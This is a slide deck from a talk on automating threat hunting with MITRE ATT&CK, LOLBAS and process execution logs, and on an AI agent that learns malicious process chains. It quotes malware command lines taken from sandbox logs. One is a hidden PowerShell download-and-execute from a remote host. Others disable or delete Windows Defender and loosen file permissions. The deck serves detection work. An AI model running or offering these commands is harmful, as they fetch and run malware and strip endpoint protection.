
Automate ATT&CK-based 
Threat Intelligence to Threat Hunting

Kumar Saurabh
CEO and Co-founder



Agenda

● SOC Automation: Current Landscape
● Threat Hunting Challenge
● Threat Hunting Automation Motivation
● MITRE ATT&CK & LOLBAS
● Process Execution Logs
● Artificial Intelligence Agent Design
● Putting it all together
● Results
● Take-aways



Logic

Typical SOC

( Security Events )

BILLIONS 

Alerts

THOUSANDS 

Eliminate 
False 

Positives

HUNDREDS 

Incidents

TENS 

Ignored	
Notifications

Detection 
Rules

Threat Hunting Alert Triage Incident Response

Decision Automation: Signal vs. noise



Why Threat Hunting Automation?

Current Reality
● Threat hunting used to detect activity we are currently missing.  As defenders, we 

often don’t know we are missing it.
● Resource gaps
● Skill gaps
● Limited time to spend on threat hunting

Suggested Approach
● Automate threat hunting
● MITRE ATT&CK and other frameworks is a good place to start
● MUST be effective with both small and big data
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MITRE ATT&CK

● Adversarial Tactics, Techniques, and Common 
Knowledge

● Knowledge base for cyber adversary behavior mapped 
to the kill chain

● Can be consumed in Wiki format or programmatically 
via STIX/TAXII interface https://attack.mitre.org/



MITRE ATT&CK



LOLBAS

● Living Off the Land Binaries and Scripts

○ General term used when an attacker abuses built-in 
binaries and scripts of an OS install or common application 
installation

○ These techniques may be harder to detect, evade controls, 
blend in with normal use etc.

○ LOLBAS typically provides examples of how these tools 
are invoked at the command line. https://github.com/api0cradle/LOLBAS



LOLBAS



MS Windows

● Learn about Windows Operating System

○ Common OS binaries.  Can be obtained from “gold 
image(s)” and process execution logs.

○ Online documentation for tool descriptions and command 
line arguments.

○ Operating system features, some obscure and 
undocumented



Threat Hunting Living off the Land

● Review and understand MITRE ATT&CK 
techniques and LOLBAS examples

● Identify patterns that might indicate malicious 
activity

● Search hypothesized pattern in enterprise 
endpoint logs to confirm

● Reduce events from millions per day to 
dozens

● Repeat until something “interesting” is found 
and is escalated for investigation
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LOLBAS Frequency by Technique

Frequency analysis indicates 
techniques definitely in use



Automate Threat Hunting LOLBAS

● Like humans, AI needs knowledge of 
MITRE ATT&CK, LOLBAS, Microsoft 
built-in tools (long-term memory)

● Working memory learns new variations of 
attacks (short-term memory)

● Automate searches of enterprise logs
● Score results to escalate high priority 

events for investigation
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Cognitive Architecture
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Process Execution Logs

Provides information about each process executed on an endpoint

Collection Option #1: Windows Event Logging
● Enable logging via Group Policy change (Event ID 4688)
● Enable Command Line Argument Logging

Collection Option #2: Sysmon
● Run Sysmon and enable Type 1 event logging
● Swift-On-Security (https://github.com/SwiftOnSecurity/sysmon-config)

Collection Option #3: EDR Tools
● Enterprise Detection Response (EDR) tools (e.g. Tanium, Carbon Black, CyberReason)



Malware Sandbox Logs
● Collected malware sandbox logs from Hybrid Analysis
● Parsed and preprocessed more than 3 months of logs

https://www.hybrid-analysis.com/docs/api/v2#/Feed/get_feed_latest



Knowledge Representation

Tool Usage 
Examples

Attacker / 
Normal Use 
knowledge

Long Term Memory Short Term Memory

Powershell.exe

cmd.exe > rundll32.exe
- First_seen: 7/2/2018
- Label: Benign
- Times_seen: 35
…

rundll32.exe > attrib.exe
excel.exe > rundll32.exe

Rundll32.exe
- Functions: Execute, Read ADS
- References: LOLBAS/ATT&CK
- Windows path:

C:\Windows\...\rundll32.exe
- Windows description:

Windows host process …

…

shell32.dll,Control…
- First_seen: 8/9/2018
- Label: Malicious
- Times_seen: 4
…

desk.cpl,InstallScreen…
javascript:"\..\mshtml…

Process Chains Command Line Args



Process Chains
● Parse malware sandbox process execution logs for process call chains
● Learn which process chains are malicious, benign, and whether we have enough 

information to be certain

PPID PID Process / Command Line

100 101 WINWORD.EXE /n 
"C:\ProtectedDocument.docm"

101 102 rundll32.exe 
%WINDIR%\\System32\\rundll32.EXE

102 103 updateservice.exe

winword.exe > rundll32.exe > unknown.exe
First seen: 5/20/2018
Last observed: 8/20/2018
Times seen: 35
# malicious: 35
# benign: 0
…

Process Execution Log Example Short Term Memory Representation



Process Chain TTP Identification

● Beyond tribal knowledge, AI automatically extracted process chain TTPs with no 
benign examples.

Count Process Chain
4710 unknown_process.exe =>	unknown_process.exe =>	taskkill.exe
1295 unknown_process.exe =>	cmd.exe =>	cmd.exe
1215 winword.exe =>	cmd.exe
1003 unknown_process.exe =>	unknown_process.exe =>	cmd.exe =>	cscript.exe
718 unknown_process.exe =>	nslookup.exe
699 winword.exe =>	powershell.exe
690 unknown_process.exe =>	cmd.exe =>	cscript.exe
673 unknown_process.exe =>	unknown_process.exe =>	unknown_process.exe =>	cmd.exe
556 unknown_process.exe =>	taskkill.exe
550 unknown_process.exe =>	attrib.exe



Command Line Argument Analysis
● Some techniques better identified through command line arguments

PPID PID Process / Command Line

100 101 cmd.exe /c powershell.exe -w 
hidden -noprofile -executionpolicy
bypass (new-object 
system.net.webclient).downloadfile
('http://atoloawrd.ru/arox/nmc.exe?
gJOHv','%TemP%PnY63.eXE'); 
InVOkE-WmiMethoD -Class 
Win32_PRoCEss -NamE CrEate -
ArgumEntLIst
'%TeMp%PnY63.EXE'

/c powershell -w hidden -noprofile
-executionpolicy bypass …

First seen: 5/20/2018
Last observed: 8/20/2018
Times similar seen: 12
# malicious: 12
# benign: 0

Process Execution Log Example Short Term Memory Representation

Similarity Measurement



Cmd Line Argument TTP Identification

Count % Command Line Arguments for cmd.exe Comment
80 6.4% /s /d /c" ftype " Displays	file	extension	associations
68 5.4% /c start www.pornhub.com Forces	user	to	visit	porn	site
47 3.7% /c sc stop windefend Stops	Windows	Defender	service

46
3.7% /c powershell set-mppreference -

disablerealtimemonitoring $true
Disables	realtime monitoring	in	
Microsoft	Defender

46 3.7% /c sc delete windefend Deletes	Windows	Defender

43 3.4%

/c cacls "%appdata%\microsoft\windows\start 
menu\programs\startup\start.lnk" /t /e /g 
users:f /c

Grants	full	control	of	.lnk file	to	all	
users

29 2.3% /c ftyp^e | find^str df^il Searching	for	.cmd file	association
24 1.9% /k attrib "c:" +s +h Adds	system	and	hidden	file	attributes

● AI aggregates statistics using NLP-based similarity searches after it experiences 
enough data



Process Chain Training

Distinct LOLBAS Learned Stabilized 
after 24 days for 39% coverage of 

known LOLBAS (39 of 99)



Take-aways

● Benefits of host process execution logs
● We can fully automate the extraction of TTPs and automate threat detection based on 

small and large feeds of malicious / benign activity
● MITRE ATT&CK techniques and LOLBAS can be prioritized based on observed 

usage in attacks
● Trends of technique usage can be tracked over time
● Code, data, analysis, and presentation can be found here:

https://github.com/egaus/wayfinder



Thank You!


